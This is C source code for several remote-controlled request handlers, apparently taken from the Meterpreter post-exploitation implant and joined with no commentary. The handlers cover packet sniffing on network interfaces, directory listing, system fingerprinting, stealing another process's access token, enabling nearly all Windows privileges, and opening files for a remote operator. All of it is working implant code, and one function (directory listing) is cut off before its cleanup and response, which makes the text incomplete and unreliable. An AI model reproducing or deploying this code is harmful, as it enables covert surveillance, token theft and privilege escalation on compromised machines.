DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv entries[8]; /* 0: Index 1: Name 2: Description 3: Type 4: MTU 5: Wireless? 6: Accessible? 7: DHCP? */ DWORD result = ERROR_SUCCESS; #ifdef _WIN32 HANDLE hCfg; unsigned int idx = 1; check_pssdk(); hCfg = MgrGetFirstAdapterCfg(hMgr); do { unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg); unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg); unsigned int ahand = htonl((unsigned int)hCfg); unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg)); unsigned int amtu = htonl(AdpCfgGetMaxPacketSize(hCfg)); unsigned int aidx = htonl(idx); BOOL awireless = AdpCfgIsWireless(hCfg); BOOL ausable = AdpCfgGetAccessibleState(hCfg); BOOL adhcp = AdpCfgGetDhcpState(hCfg); memset(entries, 0, sizeof(entries)); dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(aname)+1; entries[1].buffer = aname; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(adesc)+1; entries[2].buffer = adesc; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&atype; entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&amtu; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&awireless; entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&ausable; entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; }while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL); #else char errbuf[PCAP_ERRBUF_SIZE+4]; int aidx = htonl(1); // :~( struct ifaces_list *ifaces; uint32_t i; int aidx_bigendian; int mtu_bigendian; int yes_int = htonl(1); int no_int = 0; int mtu_int = htonl(1514); pcap_if_t *interfaces, *int_iter; interfaces = int_iter = NULL; ifaces = NULL; do { result = pcap_findalldevs(&interfaces, errbuf); if(!result) { // pcap_findalldevs suceeded for(int_iter = interfaces; int_iter; int_iter = int_iter->next) { entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(int_iter->name)+1; entries[1].buffer = (PUCHAR)int_iter->name; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(int_iter->name)+1; entries[2].buffer = (PUCHAR)int_iter->name; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type? entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-( entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&yes_int; // sure, why not. entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it. packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); aidx = htonl(ntohl(aidx)+1); // :~( } } else { dprintf("pcap_findalldevs() failed, trying netlink_get_interfaces now, errbuf was %s", errbuf); result = netlink_get_interfaces(&ifaces); if(result) { dprintf("Error when retrieving interfaces info"); break; } // netlink_get_interfaces suceeded for (i = 0; i < ifaces->entries; i++) { aidx_bigendian = htonl(ifaces->ifaces[i].index); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(uint32_t); entries[0].buffer = (PUCHAR)&aidx_bigendian; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(ifaces->ifaces[i].name)+1; entries[1].buffer = (PUCHAR)ifaces->ifaces[i].name; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(ifaces->ifaces[i].name)+1; entries[2].buffer = (PUCHAR)ifaces->ifaces[i].name; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type? mtu_bigendian = htonl(ifaces->ifaces[i].mtu); entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(uint32_t); entries[4].buffer = (PUCHAR)&mtu_bigendian; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&yes_int; // sure, why not. entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it. packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); } } } while(0); if(ifaces) free(ifaces); if(interfaces) pcap_freealldevs(interfaces); #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int maxp; CaptureJob *j; DWORD result; HANDLE ifh; #ifndef _WIN32 char errbuf[PCAP_ERRBUF_SIZE+4]; char *name; #endif check_pssdk(); dprintf("sniffer>> start_capture()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT); maxp = min(maxp, SNIFFER_MAX_QUEUE); maxp = max(maxp, 1); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } #ifdef _WIN32 ifh = pktsdk_interface_by_index(ifid); if(ifh == NULL) { result = ERROR_INVALID_PARAMETER; break; } #else ifh = ifid; #endif j = &open_captures[ifid]; // the interface is already being captured if(j->active) { result = ERROR_INVALID_PARAMETER; break; } #ifdef _WIN32 j->adp = AdpCreate(); dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp); AdpSetConfig(j->adp,ifh); hErr = AdpOpenAdapter(j->adp); dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr); if (hErr != HNERR_OK) { AdpDestroy(j->adp); result = hErr; break; } j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows #else name = get_interface_name_by_index(ifh); if(! name) { result = ERROR_INVALID_PARAMETER; break; } j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf); if(! j->pcap) { result = EACCES; break; } j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file if (-1 == j->capture_linktype) j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error if(packet_filter) { struct bpf_program bpf; char *add_filter; char *real_filter = NULL; int rc; dprintf("handling packet_filter"); add_filter = packet_get_tlv_value_string(packet,TLV_TYPE_SNIFFER_ADDITIONAL_FILTER); dprintf("add_filter = %p (%s)", add_filter, add_filter ? add_filter : ""); if(add_filter) { asprintf(&real_filter, "%s and (%s)", packet_filter, add_filter); } else { real_filter = strdup(packet_filter); } dprintf("the real filter string we'll be using is '%s'", real_filter); rc = pcap_compile(j->pcap, &bpf, real_filter, 1, 0); free(real_filter); if(rc == -1) { dprintf("pcap compile reckons '%s' is a failure because of '%s'", real_filter, pcap_geterr(j->pcap)); result = ERROR_INVALID_PARAMETER; break; } dprintf("compiled filter, now setfilter()'ing"); rc = pcap_setfilter(j->pcap, &bpf); pcap_freecode(&bpf); if(rc == -1) { dprintf("can't set filter because '%s'", pcap_geterr(j->pcap)); result = ERROR_INVALID_PARAMETER; break; } dprintf("filter applied successfully"); } j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL); if(! j->thread) { pcap_close(j->pcap); break; } #endif j->pkts = (HANDLE *) calloc(maxp, sizeof(HANDLE)); if(j->pkts == NULL) { #ifdef _WIN32 AdpCloseAdapter(j->adp); AdpDestroy(j->adp); #else pcap_close(j->pcap); #endif result = ERROR_ACCESS_DENIED; break; } j->active = 1; j->intf = ifid; j->max_pkts = maxp; j->cur_pkts = 0; j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp)); #ifdef _WIN32 AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j); AdpSetMacFilter(j->adp, mfAll); #else thread_run(j->thread); #endif } while(0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Gets the contents of a given directory path and returns the list of file * names to the requestor. * * TLVs: * * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed */ DWORD request_fs_ls(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR directory; DWORD result = ERROR_SUCCESS; LPSTR expanded = NULL, tempFile = NULL; size_t tempFileSize = 0; LPSTR baseDirectory = NULL; struct meterp_stat buf; directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); // Enumerate the directory if one was provided if (!directory) result = ERROR_INVALID_PARAMETER; else { #ifdef _WIN32 WIN32_FIND_DATA data; HANDLE ctx = NULL; #else DIR *ctx; struct dirent *data; #endif BOOLEAN freeDirectory = FALSE; LPSTR tempDirectory = (LPSTR)directory; #ifdef _WIN32 // If there is not wildcard mask on the directory, create a version of the // directory with a mask appended if (!strrchr(directory, '*')) { if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } sprintf(tempDirectory, "%s\\*", directory); // Dupe! if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } } // Otherwise, if it does have an asterisk, we need to scan back and find // the base directory. If there is no slash, it means we're listing the // cwd. else { PCHAR slash = strrchr(directory, '\\'); if (slash) { *slash = 0; if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } *slash = '\\'; } } // Expand the path if (!(expanded = fs_expand_path(tempDirectory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Start the find operation ctx = FindFirstFile(expanded, &data); #define DF_NAME data.cFileName #else expanded = 0; ctx = opendir(tempDirectory); if(ctx == NULL) { result = errno; goto out; } data = readdir(ctx); if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } #define DF_NAME data->d_name #endif do { size_t fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2; // No context? Sucktastic if (ctx == INVALID_HANDLE_VALUE) { result = GetLastError(); break; } // Allocate temporary storage to stat the file if ((!tempFile) || (tempFileSize < fullSize)) { if (tempFile) { free(tempFile); } // No memory means we suck a lot like spoon's mom if (!(tempFile = (LPSTR)malloc(fullSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Update the tempFileSize so that we don't allocate if we don't // need to like a true efficient ninja tempFileSize = fullSize; } // Build the full path if (baseDirectory) { #ifdef _WIN32 sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME); #else sprintf(tempFile, "%s/%s", baseDirectory, DF_NAME); #endif } else { sprintf(tempFile, "%s", DF_NAME); } // Add the file name to the response packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, DF_NAME); // Add the full path packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, tempFile); // Stat the file to get more information about it. if (fs_stat(tempFile, &buf) >= 0) { packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } #ifdef _WIN32 } while (FindNextFile(ctx, &data)); #else } while (data = readdir(ctx)); #endif #undef DF_NAME // Clean up resources if (freeDirectory) { free(tempDirectory); } if (ctx) { #ifdef _WIN32 FindClose(ctx); #else closedir(ctx); #endif } }
/* * sys_sysinfo * ---------- * * Get system information such as computer name and OS version */ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); CHAR computer[512], buf[512], *osName = NULL, * osArch = NULL, * osWow = NULL; DWORD res = ERROR_SUCCESS; DWORD size = sizeof(computer); OSVERSIONINFOEX v; HMODULE hKernel32; memset(&v, 0, sizeof(v)); memset(computer, 0, sizeof(computer)); memset(buf, 0, sizeof(buf)); v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); do { // Get the computer name if (!GetComputerName(computer, &size)) { res = GetLastError(); break; } packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); // Get the operating system version information if (!GetVersionEx((LPOSVERSIONINFO)&v)) { res = GetLastError(); break; } if (v.dwMajorVersion == 3) osName = "Windows NT 3.51"; else if (v.dwMajorVersion == 4) { if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) osName = "Windows 95"; else if (v.dwMinorVersion == 10) osName = "Windows 98"; else if (v.dwMinorVersion == 90) osName = "Windows ME"; else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT) osName = "Windows NT 4.0"; } else if (v.dwMajorVersion == 5) { if (v.dwMinorVersion == 0) osName = "Windows 2000"; else if (v.dwMinorVersion == 1) osName = "Windows XP"; else if (v.dwMinorVersion == 2) osName = "Windows .NET Server"; } else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 0) { if (v.wProductType == VER_NT_WORKSTATION) osName = "Windows Vista"; else osName = "Windows 2008"; } else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 1) { if (v.wProductType == VER_NT_WORKSTATION) osName = "Windows 7"; else osName = "Windows 2008 R2"; } if (!osName) osName = "Unknown"; _snprintf(buf, sizeof(buf) - 1, "%s (Build %lu, %s).", osName, v.dwBuildNumber, v.szCSDVersion, osArch, osWow ); packet_add_tlv_string(response, TLV_TYPE_OS_NAME, buf); // sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it. hKernel32 = LoadLibraryA( "kernel32.dll" ); if( hKernel32 ) { typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE, PBOOL ); GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel32, "GetNativeSystemInfo" ); ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress( hKernel32, "IsWow64Process" ); if( pGetNativeSystemInfo ) { SYSTEM_INFO SystemInfo; pGetNativeSystemInfo( &SystemInfo ); switch( SystemInfo.wProcessorArchitecture ) { case PROCESSOR_ARCHITECTURE_AMD64: osArch = "x64"; break; case PROCESSOR_ARCHITECTURE_IA64: osArch = "IA64"; break; case PROCESSOR_ARCHITECTURE_INTEL: osArch = "x86"; break; default: break; } } if( pIsWow64Process ) { BOOL bIsWow64 = FALSE; pIsWow64Process( GetCurrentProcess(), &bIsWow64 ); if( bIsWow64 ) osWow = " (Current Process is WOW64)"; } } // if we havnt set the arch it is probably because we are on NT/2000 which is x86 if( !osArch ) osArch = "x86"; if( !osWow ) osWow = ""; _snprintf( buf, sizeof(buf) - 1, "%s%s", osArch, osWow ); packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, buf); if( hKernel32 ) { char * ctryname = NULL, * langname = NULL; typedef LANGID (WINAPI * GETSYSTEMDEFAULTLANGID)( VOID ); GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress( hKernel32, "GetSystemDefaultLangID" ); if( pGetSystemDefaultLangID ) { LANGID langId = pGetSystemDefaultLangID(); int len = GetLocaleInfo( langId, LOCALE_SISO3166CTRYNAME, 0, 0 ); if( len > 0 ) { ctryname = (char *)malloc( len ); GetLocaleInfo( langId, LOCALE_SISO3166CTRYNAME, ctryname, len ); } len = GetLocaleInfo( langId, LOCALE_SISO639LANGNAME, 0, 0 ); if( len > 0 ) { langname = (char *)malloc( len ); GetLocaleInfo( langId, LOCALE_SISO639LANGNAME, langname, len ); } } if( !ctryname || !langname ) _snprintf( buf, sizeof(buf) - 1, "Unknown"); else _snprintf( buf, sizeof(buf) - 1, "%s_%s", langname, ctryname ); packet_add_tlv_string( response, TLV_TYPE_LANG_SYSTEM, buf ); if( ctryname ) free( ctryname ); if( langname ) free( langname ); } } while (0); // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * sys_steal_token * ---------- * * Steals the primary token from an existing process */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token = NULL; HANDLE handle = NULL; HANDLE xtoken = NULL; DWORD pid; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!pid) { res = -1; break; } handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!handle) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res); break; } if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){ res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res); break; } if(! ImpersonateLoggedOnUser(token)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res); break; } if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res); break; } core_update_thread_token(remote, xtoken); if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); if(handle) CloseHandle(handle); if(token) CloseHandle(token); // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * sys_getprivs * ---------- * * Obtains as many privileges as possible * Based on the example at http://nibuthomas.com/tag/openprocesstoken/ */ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; HANDLE token = NULL; int x; TOKEN_PRIVILEGES priv = {0}; LPCTSTR privs[] = { SE_DEBUG_NAME, SE_TCB_NAME, SE_CREATE_TOKEN_NAME, SE_ASSIGNPRIMARYTOKEN_NAME, SE_LOCK_MEMORY_NAME, SE_INCREASE_QUOTA_NAME, SE_UNSOLICITED_INPUT_NAME, SE_MACHINE_ACCOUNT_NAME, SE_SECURITY_NAME, SE_TAKE_OWNERSHIP_NAME, SE_LOAD_DRIVER_NAME, SE_SYSTEM_PROFILE_NAME, SE_SYSTEMTIME_NAME, SE_PROF_SINGLE_PROCESS_NAME, SE_INC_BASE_PRIORITY_NAME, SE_CREATE_PAGEFILE_NAME, SE_CREATE_PERMANENT_NAME, SE_BACKUP_NAME, SE_RESTORE_NAME, SE_SHUTDOWN_NAME, SE_AUDIT_NAME, SE_SYSTEM_ENVIRONMENT_NAME, SE_CHANGE_NOTIFY_NAME, SE_REMOTE_SHUTDOWN_NAME, SE_UNDOCK_NAME, SE_SYNC_AGENT_NAME, SE_ENABLE_DELEGATION_NAME, SE_MANAGE_VOLUME_NAME, 0 }; do { if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token )) { res = GetLastError(); break; } for( x = 0; privs[x]; ++x ) { memset(&priv, 0, sizeof(priv)); LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid ); priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0 )) { if(GetLastError() == ERROR_SUCCESS) { packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); } } else { dprintf("[getprivs] Failed to set privilege %s (%u)", privs[x], GetLastError()); } } } while (0); if(token) CloseHandle(token); // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * Handles the open request for a file channel and returns a valid channel * identifier to the requestor if the file is opened successfully */ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) { Packet *response = NULL; PCHAR filePath, mode; DWORD res = ERROR_SUCCESS; DWORD flags = 0; Channel *newChannel = NULL; PoolChannelOps chops = { 0 }; FileContext *ctx; LPSTR expandedFilePath = NULL; // Allocate a response response = packet_create_response(packet); // Get the channel flags flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = calloc(1, sizeof(FileContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Get the file path and the mode filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); if (mode == NULL) { mode = "rb"; } res = fs_fopen(filePath, mode, &ctx->fd); if (res != ERROR_SUCCESS) { goto out; } memset(&chops, 0, sizeof(chops)); // Initialize the pool operation handlers chops.native.context = ctx; chops.native.write = file_channel_write; chops.native.close = file_channel_close; chops.read = file_channel_read; chops.eof = file_channel_eof; chops.seek = file_channel_seek; chops.tell = file_channel_tell; // Check the response allocation & allocate a un-connected // channel if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); out: // Transmit the packet if it's valid packet_transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) { channel_destroy(newChannel, NULL); } free(ctx); } return res; }